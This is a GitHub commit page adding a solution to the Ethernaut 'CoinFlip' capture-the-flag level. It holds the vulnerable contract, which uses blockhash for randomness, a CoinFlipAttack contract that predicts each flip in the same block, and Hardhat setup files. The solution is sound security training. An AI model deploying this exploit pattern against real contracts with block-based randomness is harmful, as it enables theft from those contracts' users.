Skip to content

Commit

Permalink
Ethernaut challenge 3: CoinFlip
Browse files Browse the repository at this point in the history
  • Loading branch information
antico5 committed Nov 25, 2021
1 parent 9793825 commit 4b302d7
Show file tree
Hide file tree
Showing 11 changed files with 34,133 additions and 0 deletions.
2 changes: 2 additions & 0 deletions ethernaut_challenges/.env.example
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
ALCHEMY_API_KEY=
ROPSTEN_PRIVATE_KEY=
8 changes: 8 additions & 0 deletions ethernaut_challenges/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
node_modules
.env

#Hardhat files
cache
artifacts
dist
local
16 changes: 16 additions & 0 deletions ethernaut_challenges/.prettierrc
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
{
"overrides": [
{
"files": "*.sol",
"options": {
"printWidth": 120,
"tabWidth": 2,
"useTabs": false,
"singleQuote": false,
"bracketSpacing": false,
"explicitTypes": "always",
"semi": true
}
}
]
}
131 changes: 131 additions & 0 deletions ethernaut_challenges/abis/ethernaut.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
[
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "player",
"type": "address"
},
{
"indexed": false,
"internalType": "contract Level",
"name": "level",
"type": "address"
}
],
"name": "LevelCompletedLog",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "player",
"type": "address"
},
{
"indexed": false,
"internalType": "address",
"name": "instance",
"type": "address"
}
],
"name": "LevelInstanceCreatedLog",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"inputs": [
{
"internalType": "contract Level",
"name": "_level",
"type": "address"
}
],
"name": "createLevelInstance",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "contract Level",
"name": "_level",
"type": "address"
}
],
"name": "registerLevel",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address payable",
"name": "_instance",
"type": "address"
}
],
"name": "submitLevelInstance",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
35 changes: 35 additions & 0 deletions ethernaut_challenges/contracts/3_CoinFlip.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
31 changes: 31 additions & 0 deletions ethernaut_challenges/contracts/3_CoinFlipAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
pragma solidity ^0.6.0;

import "./3_CoinFlip.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";

contract CoinFlipAttack {
using SafeMath for uint256;

uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

CoinFlip public target;
uint256 lastBlockNumberRun;

event CurrentWins(uint256 indexed wins);

constructor(CoinFlip _target) public {
target = _target;
}

function guess() public {
require(block.number > lastBlockNumberRun, "Already ran this block!");
lastBlockNumberRun = block.number;

uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

target.flip(side);
emit CurrentWins(target.consecutiveWins());
}
}
61 changes: 61 additions & 0 deletions ethernaut_challenges/hardhat.config.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
import "@atixlabs/hardhat-time-n-mine";
import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions";
import "@nomiclabs/hardhat-waffle";
import dotenv from "dotenv";
import "hardhat-gas-reporter";
import "hardhat-tracer";
import { task } from "hardhat/config";

dotenv.config();

// This is a sample Hardhat task. To learn how to create your own go to
// https://hardhat.org/guides/create-task.html
task("accounts", "Prints the list of accounts", async (args, hre) => {
const accounts = await hre.ethers.getSigners();

for (const account of accounts) {
console.log(await account.address);
}
});

// You need to export an object to set up your config
// Go to https://hardhat.org/config/ to learn more

export default {
solidity: {
compilers: [
{
version: "0.8.7",
settings: {
outputSelection: {
"*": {
"*": ["storageLayout"],
},
},
},
},
{
version: "0.6.0",
settings: {
outputSelection: {
"*": {
"*": ["storageLayout"],
},
},
},
},
],
},
networks: {
ropsten: {
url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
accounts:
process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
},
rinkeby: {
url: `https://eth-rinkeby.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
accounts:
process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
},
},
};
Loading

0 comments on commit 4b302d7

Please sign in to comment.